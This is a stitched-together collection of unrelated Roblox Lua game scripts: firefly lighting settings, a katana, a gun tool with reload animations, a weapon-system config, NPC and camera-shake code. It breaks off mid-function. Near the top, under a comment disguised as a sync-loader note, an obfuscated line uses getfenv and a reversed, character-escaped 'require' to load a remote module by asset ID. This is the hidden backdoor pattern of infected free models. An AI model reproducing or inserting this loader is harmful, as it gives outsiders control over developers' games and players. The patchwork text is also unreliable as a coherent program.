-- Configurations: -- Brightness: Set the brightness of the lights the fireflies have -- Color: The color of the firefly -- GlowSpeed: The amount of time spent in seconds to build or drop the strength of the light -- GlowTime: The amount of average time the light is active -- NowGlotTime: The amount of average time the light is inactive -- GlowRange: The range of the light -- FlyRange: The range a fly can fly away from the center -- Amount: The amount of flies this spawner will keep having --[[ Last synced 12/11/2020 06:19 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--The button
script.Parent.Button.ClickDetector.MouseClick:connect(function(click) if not (on) then on = true--On script.Parent.Cover1.Transparency = 1 script.Parent.Cover2.Transparency = 1 elseif (on) then on = false --Off script.Parent.Cover1.Transparency = 0 script.Parent.Cover2.Transparency = 0 end end)
-- Called when the katana(held by a player) comes in contact with -- another humanoid object
function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() --SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end local debounce = false function onActivated() if debounce then return end debounce = true damage = slash_damage print("A") while Tool.Enabled do wait() end -- necessary to avoid debouncing conflicts between this script and LocalKatanaScript! attack() while not Tool.Enabled do wait() end -- necessary to avoid debouncing conflicts between this script and LocalKatanaScript! damage = nonslash_damage print("B") debounce = false end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--[=[ Add a task to clean up. Tasks given to a maid will be cleaned when maid[index] is set to a different value. Task cleanup is such that if the task is an event, it is disconnected. If it is an object, it is destroyed. ``` Maid[key] = (function) Adds a task to perform Maid[key] = (event connection) Manages an event connection Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method Maid[key] = nil Removes a named task. ``` @param index any @param newTask MaidTask ]=]
function Maid:__newindex(index, newTask) if Maid[index] ~= nil then error(("Cannot use '%s' as a Maid key"):format(tostring(index)), 2) end local tasks = self._tasks local oldTask = tasks[index] if oldTask == newTask then return end tasks[index] = newTask if oldTask then if type(oldTask) == "function" then oldTask() elseif typeof(oldTask) == "RBXScriptConnection" then oldTask:Disconnect() elseif oldTask.Destroy then oldTask:Destroy() end end end
----- TOOL DATA ----- -- How much damage a bullet does
local Damage = 14
-------------------------------------
local legs = nil local torso2 = nil local welds2 = {} local bodyforce = nil function tagHumanoid(humanoid) local plr=game.Players:playerFromCharacter(sp.Parent) if plr~=nil then local tag=Instance.new("ObjectValue") tag.Value=plr tag.Name="creator" tag.Parent=humanoid delay(2,function() if tag~=nil then tag.Parent=nil end end) end end function ReloadSequence() weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.02) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.04) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.06) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.08) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.1) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-102), math.rad(-15), 0.12) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-104), math.rad(-15), 0.14) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-106), math.rad(-15), 0.16) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-108), math.rad(-15), 0.18) wait(.02) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-110), math.rad(-15), 0.2) wait(.02) weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.1, math.rad(-90)) wait(.02) weld55.C1 = CFrame.new(-0.15, 1.3, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.2, math.rad(-90)) wait(.02) weld55.C1 = CFrame.new(-0.15, 1.25, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.2, math.rad(-90)) wait(.02) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.2, math.rad(-90)) wait(.02) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.1, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.05, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.05, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.1, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.15, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.2, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.25, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.35, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.35, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.4, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.45, math.rad(-90)) wait(.03) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.5, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.45, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.4, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.2, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.1, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.1, math.rad(-90)) wait(.04) weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.2, math.rad(-90)) wait(.1) weld55.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.075, math.rad(-90)) weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.1) wait(.1) weld55.C1 = CFrame.new(-0.35, 0.8, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.15, math.rad(-90)) weld33.C1 = CFrame.new(-0.75, -0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) wait(.1) weld55.C1 = CFrame.new(-0.35, 0.6, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.225, math.rad(-90)) weld33.C1 = CFrame.new(-0.75, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0) wait(.1) weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.3, math.rad(-90)) weld33.C1 = CFrame.new(-0.75, -0.1, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-15), 0) wait(.1) weld55.C1 = CFrame.new(-0.35, 0.3, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.375, math.rad(-90)) wait(.3) weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.3, math.rad(-90)) wait(.08) weld33.C1 = CFrame.new(-0.75, -0.25, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0) weld55.C1 = CFrame.new(-0.35, 0.7, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.15, math.rad(-90)) wait(.08) weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) end function reload(mouse) reloading=true mouse.Icon=ReloadCursor ReloadSequence() while sp.Ammo.Value<ClipSize and reloading and enabled do wait() if reloading then sp.Ammo.Value= 30 check() else break end end check() mouse.Icon=Cursors[1] reloading=false end function onKeyDown(key,mouse) key=key:lower() if key=="r" and not reloading then Tool.Handle.Reload:Play() reload(mouse) elseif key == "f" and not reloading then if Tool.FireMode.Value <= 3 then Tool.FireMode.Value = Tool.FireMode.Value + 1 else Tool.FireMode.Value = 1 end elseif key == "g" and not reloading then if Tool.Running.Value == false and not a and Tool.ZoomedIn.Value == false then sp.Parent.Humanoid.WalkSpeed = 21 Tool.Running.Value = true weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.1, math.rad(-90)) weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-15), 0) wait(0.07) weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.2, math.rad(-90)) -- Left Arm Movement(Up/Down,Forwards/Backwards,Left/Right) Rotation(Left/Right,Up/Down,Twist) weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-60), math.rad(-15), 0) -- Right Arm Movement(Left/Right,Forwards/Backwards,Up/Down) Rotation(Up/Down,Left/Right,Twist) elseif Tool.Running.Value == true then Tool.Running.Value = false sp.Parent.Humanoid.WalkSpeed = 16 weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.1, math.rad(-90)) weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-15), 0) wait(0.07) weld1.C1 = CFrame.new(-0.35, 1.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) end end end function movecframe(p,pos) p.Parent=game.Lighting p.Position=pos p.Parent=game.Workspace end function fire(aim) sp.Handle.Fire:Play() barrel_1.Flash.Flash.Visible = true weld1.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) weld2.C1 = CFrame.new(-0.75, -0.6, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) wait(0.02) weld1.C1 = CFrame.new(-0.35, 1.1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) weld2.C1 = CFrame.new(-0.75, -0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) wait(0.02) weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) barrel_1.Flash.Flash.Visible = false Tool.Running.Value = false if Tool.ZoomedIn.Value == false then sp.Parent.Humanoid.WalkSpeed = 16 end t=r.Stepped:wait() last6=last5 last5=last4 last4=last3 last3=last2 last2=last last=t local totalDist=0 Lengthdist=-RayLength/.5 startpoint=barrel_1.CFrame.p startpoint2 = barrel_2.CFrame.p if double then if doublemode == 1 then if UseDouble then startpoint=barrel_2.CFrame.p else startpoint=barrel_1.CFrame.p end end end local dir=(aim)-startpoint local dir2 = (aim)-startpoint2 dir=dir.unit dir2 = dir2.unit local cfrm=CFrame.new(startpoint, dir+startpoint) local cfrm2 = CFrame.new(startpoint2,dir2+startpoint2) local hit,pos=raycursive(startpoint, cfrm.lookVector * 999) if hit~=nil then if hit.Parent.className == "Hat" then hit = hit.Parent elseif hit.Parent.className == "Tool" then hit = hit.Parent end local humanoid=hit.Parent:FindFirstChild("Humanoid") if humanoid~=nil and hit.Parent:findFirstChild("Downed") == nil then BaseDamage = 30 local damage=math.random(BaseDamage-(BaseDamage*.25),BaseDamage+(BaseDamage*.25)) if hit.Name=="Head" then damage=damage*2 elseif hit.Name=="Torso" then damage=damage*2 else damage=damage end if humanoid.Health>0 then local eplr=game.Players:playerFromCharacter(humanoid.Parent) local plr=game.Players:playerFromCharacter(sp.Parent) if eplr~=nil and plr~=nil then if eplr.TeamColor~=plr.TeamColor or eplr.Neutral or plr.Neutral then Mouse.Icon = "http://www.roblox.com/asset/?id=49170312" tagHumanoid(humanoid) humanoid:TakeDamage(damage) end else Mouse.Icon = "http://www.roblox.com/asset/?id=49170312" tagHumanoid(humanoid) humanoid:TakeDamage(damage) end end end if (hit.Parent:findFirstChild("Hit")) then hit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage/3 end if hit.Parent.Parent.Name == "HumVee" then hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage Mouse.Icon = "http://www.roblox.com/asset/?id=49170312" elseif hit.Parent.Name == "HumVee" then hit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage Mouse.Icon = "http://www.roblox.com/asset/?id=49170312" elseif hit.Parent.Name == "Body" then hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage elseif hit.Parent.Name == "Part" then hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage elseif hit.Parent.Name == "Lights" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage elseif hit.Parent.Name == "Rotors" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage elseif hit.Parent.Name == "Seats" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage elseif hit.Parent.Name == "Cockpit" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "Front" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "Middle" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "Tail" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "TailRotor" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "Rotor" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage elseif hit.Parent.Name == "NavLights" then hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage end distance=(startpoint-pos).magnitude distance2 = (startpoint2-pos).magnitude else end local deb=game:FindFirstChild("Debris") if deb==nil then local debris=Instance.new("Debris") debris.Parent=game end check() end function onButton1Up(mouse) down=false end function onButton1Down(mouse) h=sp.Parent:FindFirstChild("Humanoid") if not enabled or reloading or down or h==nil then return end if sp.Ammo.Value>0 and h.Health>0 and h.Jump == false then --[[if sp.Ammo.Value<=0 then if not reloading then reload(mouse) end return end]] down=true enabled=false while down and h.Jump == false and h.Health>0 do if sp.Ammo.Value<=0 then break end if sp.FireMode.Value == 1 then if Tool.Pose.Value == 1 then Tool.Accuracy.Value = 0.01 elseif Tool.Pose.Value == 2 then Tool.Accuracy.Value = 0.005 elseif Tool.Pose.Value == 3 then Tool.Accuracy.Value = 0.0025 end if Tool.ZoomedIn.Value == true then Tool.Accuracy.Value = Tool.Accuracy.Value - 0.25 end automatic = true burst= false shot = false elseif sp.FireMode.Value == 2 then if Tool.Pose.Value == 1 then Tool.Accuracy.Value = 0.0025 elseif Tool.Pose.Value == 2 then Tool.Accuracy.Value = 0.00125 elseif Tool.Pose.Value == 3 then Tool.Accuracy.Value = 0.00625 end if Tool.ZoomedIn.Value == true then Tool.Accuracy.Value = Tool.Accuracy.Value - 0.25 end burst = true automatic = false shot = false elseif sp.FireMode.Value == 3 then if Tool.Pose.Value == 1 then Tool.Accuracy.Value = 0.00625 elseif Tool.Pose.Value == 2 then Tool.Accuracy.Value = 0.0003125 elseif Tool.Pose.Value == 3 then Tool.Accuracy.Value = 0.00015625 end if Tool.ZoomedIn.Value == true then Tool.Accuracy.Value = 0 end shot = true burst = false automatic = false elseif sp.FireMode.Value >= 4 then sp.FireMode.Value = 1 end if burst then local startpoint=barrel_1.CFrame.p local mag=(mouse.Hit.p-startpoint).magnitude local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value)) fire(mouse.Hit.p+rndm) sp.Ammo.Value=sp.Ammo.Value-1 if sp.Ammo.Value<=0 then break end wait(.02) local startpoint=barrel_1.CFrame.p local mag2=((mouse.Hit.p+rndm)-startpoint).magnitude local rndm2=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value)) fire(mouse.Hit.p+rndm+rndm2) sp.Ammo.Value=sp.Ammo.Value-1 if sp.Ammo.Value<=0 then break end wait(.02) fire(mouse.Hit.p+rndm+rndm2+rndm2) sp.Ammo.Value=sp.Ammo.Value-1 elseif shot then sp.Ammo.Value=sp.Ammo.Value-1 local startpoint=barrel_1.CFrame.p local mag=(mouse.Hit.p-startpoint).magnitude local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value)) fire(mouse.Hit.p+rndm) wait(Firerate) elseif automatic then sp.Ammo.Value=sp.Ammo.Value-1 local startpoint=barrel_1.CFrame.p local mag=(mouse.Hit.p-startpoint).magnitude local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value)) fire(mouse.Hit.p+rndm) end wait(Firerate) if not automatic then break end end enabled=true else wait() end end function onEquippedLocal(mouse) wait(0.01) arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")} torso = Tool.Parent:FindFirstChild("Torso") if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = nil sh[2].Part1 = nil falsearm1 = arms[1]:clone() local mesh1 = Instance.new("BlockMesh") mesh1.Scale = Vector3.new(.9,.9,.9) mesh1.Parent = falsearm1 local armweld1 = Instance.new("Weld") falsearm1.BrickColor = BrickColor.new(26) falsearm1.Parent = Tool armweld1.Parent = falsearm1 armweld1.Part0 = falsearm1 armweld1.Part1 = arms[1] falsearm2 = arms[2]:clone() local mesh2 = Instance.new("BlockMesh") mesh2.Scale = Vector3.new(.9,.9,.9) mesh2.Parent = falsearm2 local armweld2 = Instance.new("Weld") falsearm2.BrickColor = BrickColor.new(26) falsearm2.Parent = Tool armweld2.Parent = falsearm2 armweld2.Part0 = falsearm2 armweld2.Part1 = arms[2] weld1 = Instance.new("Weld") -- left arm weld55 = weld1 weld1.Part0 = torso weld1.Parent = torso weld1.Part1 = arms[1] weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) welds[1] = weld1 weld2 = Instance.new("Weld") -- right arm weld33 = weld2 weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) welds[2] = weld2 end else end else end if mouse==nil then print("Mouse not found") return end Mouse = mouse mouse.Icon=Cursors[1] mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end) mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.Button1Up:connect(function() onButton1Up(mouse) end) check() equiped=true if #Cursors>1 then while equiped do t=r.Stepped:wait() wait(Firerate*.9) end end end function onUnequippedLocal(mouse) if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] welds[1].Parent = nil welds[2].Parent = nil falsearm1:remove() falsearm2:remove() end else end else end equiped=false reloading=false end sp.Equipped:connect(onEquippedLocal) sp.Unequipped:connect(onUnequippedLocal) check()
---------------------------------------------------------------------------------------------------- --------------------=[ RCM Settings ]=----------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
-- Command Settings --- List of user IDs able to use regen and clear commands ,HostList = { --- Game owners automatically have perms, commands always work in studio 57158149, } ,HostRank = 255 --- If the game is group owned, anyone above this rank number will automatically have command perms ,CommandPrefix = "/" -- Command List -- /ClearGuns Removes dropped guns from workspace -- /ResetGlass Replaces broken glass and removes shards -- /ResetLights Fixes broken lights -- /ResetAll Fixes both lights and glass -- /ACSlog View kill log -- Keybinds ,LeanLeft = Enum.KeyCode.Q ,LeanRight = Enum.KeyCode.E ,Crouch = Enum.KeyCode.C ,StandUp = Enum.KeyCode.X ,Sprint = Enum.KeyCode.LeftShift ,SlowWalk = Enum.KeyCode.Z ,Reload = Enum.KeyCode.R ,FireMode = Enum.KeyCode.V ,CheckMag = Enum.KeyCode.M ,ZeroUp = Enum.KeyCode.RightBracket ,ZeroDown = Enum.KeyCode.LeftBracket ,DropGun = Enum.KeyCode.Backspace ,SwitchSights = Enum.KeyCode.T ,ToggleLight = Enum.KeyCode.J ,ToggleLaser = Enum.KeyCode.H ,ToggleBipod = Enum.KeyCode.B ,Interact = Enum.KeyCode.G ,ToggleNVG = Enum.KeyCode.N -- Effects Settings ,BreakLights = true --- Can break any part named "Light" with a light inside of it ,BreakGlass = true --- Can shatter glass with bullets ,GlassName = "Glass" --- Name of parts that can shatter ,ShardDespawn = 60 --- How long glass stays before being removed ,ShellLimit = 100 --- Max number of ejected shells that can be on the ground ,ShellDespawn = 0 --- Shells will be deleted after being on the ground for this amount of time, 0 = No despawn -- Weapon Drop Settings ,WeaponDropping = true --- Enable weapon dropping with backspace? ,WeaponCollisions = false --- Allow weapons to collide with each other ,SpawnStacking = false --- Enabling this allows multiple guns to be spawned by one spawner, causing them to 'stack' ,MaxDroppedWeapons = 50 --- Max number of weapons that can be dropped at once ,PickupDistance = 7 --- Max distance from which a player can pickup guns ,DropWeaponsOnDeath = true --- Drop all guns on death ,DropWeaponsOnLeave = true --- Drop all guns when the player leaves the game ,TimeDespawn = true --- Enable a timer for weapon deletion ,WeaponDespawnTime = 180 --- If TimeDespawn is enabled, dropped guns are deleted after this time -- Misc Settings ,AmmoBoxDespawn = 300 --- Max time ammo boxes will be on the ground ,EquipInVehicleSeat = true --- Allow players to use weapons while operating a vehicle ,EquipInSeat = true --- Allow players to use weapons in regular seats ,DisableInSeat = true --- Prevents movement keybinds from messing with vehicle scripts like blizzard ,WeaponWeight = true --- Enables the WeaponWeight setting in guns, slowing down the player while a gun is equipped ,HeadMovement = false --- Toggles head movement } return ServerConfig
--bp.Position = shelly.PrimaryPart.Position
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat wait() until tick()-ostrich > 10 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else wait(1) end end
--[[ Calls the given callback for all existing players in the game, and any that join thereafter. Useful in situations where you want to run code for every player, even players who are already in the game. The DemoScript uses safePlayerAdded to ensure all players in the game have a billboard with their name above their character's heads. --]]
local safePlayerAdded = require(script.Parent.Parent.safePlayerAdded) local nameBillboardGui = script.Parent.NameBillboardGui local function addBillboardToPlayer(player: Player) player.CharacterAdded:Connect(function(character: Model) local billboard = nameBillboardGui:Clone() local textLabel = billboard.TextLabel textLabel.Text = player.Name billboard.Enabled = true billboard.Parent = character end) end safePlayerAdded(addBillboardToPlayer)
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Shake.Create = function(length, strength, smoothness, fadeIn) --- Only works with character-bound cameras if _L.Player.Get("Camera").CameraType == Enum.CameraType.Scriptable then return end -- shakeId = shakeId + 1 length = length or 1 strength = strength or 1 smoothness = smoothness or 0 fadeIn = fadeIn ~= nil and fadeIn or false -- coroutine.wrap(function() local localShakeId = shakeId local startTick = tick() local cameraOffset local lastTickIncrement = tick() -- while (shakeId == localShakeId and (tick() - startTick) <= length) do local timeFloat = (tick() - startTick) / length -- if not cameraOffset or tick() - lastTickIncrement >= (smoothness / 10) then lastTickIncrement = tick() local timeSine = (fadeIn and math.sin(timeFloat * math.pi) or math.sin((0.5 + (timeFloat / 2)) * math.pi)) -- local x = rng:NextNumber(-timeSine, timeSine) * timeSine * strength local y = rng:NextNumber(-timeSine, timeSine) * timeSine * strength local z = rng:NextNumber(-timeSine, timeSine) * timeSine * strength -- cameraOffset = Vector3.new(x, y, z) --- Haptic feedback (controller shaking) if _L.Variables.Console and _L.Services.HapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) then local shakingAlpha = math.min(strength, 1) * timeSine _L.Services.HapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Large, shakingAlpha) end end -- _L.Player.Get("Humanoid").CameraOffset = _L.Player.Get("Humanoid").CameraOffset:Lerp(cameraOffset, (1 - smoothness)) _L.Services.RunService.RenderStepped:Wait() end -- _L.Player.Get("Humanoid").CameraOffset = Vector3.new(0, 0, 0) -- if _L.Variables.Console and _L.Services.HapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) then 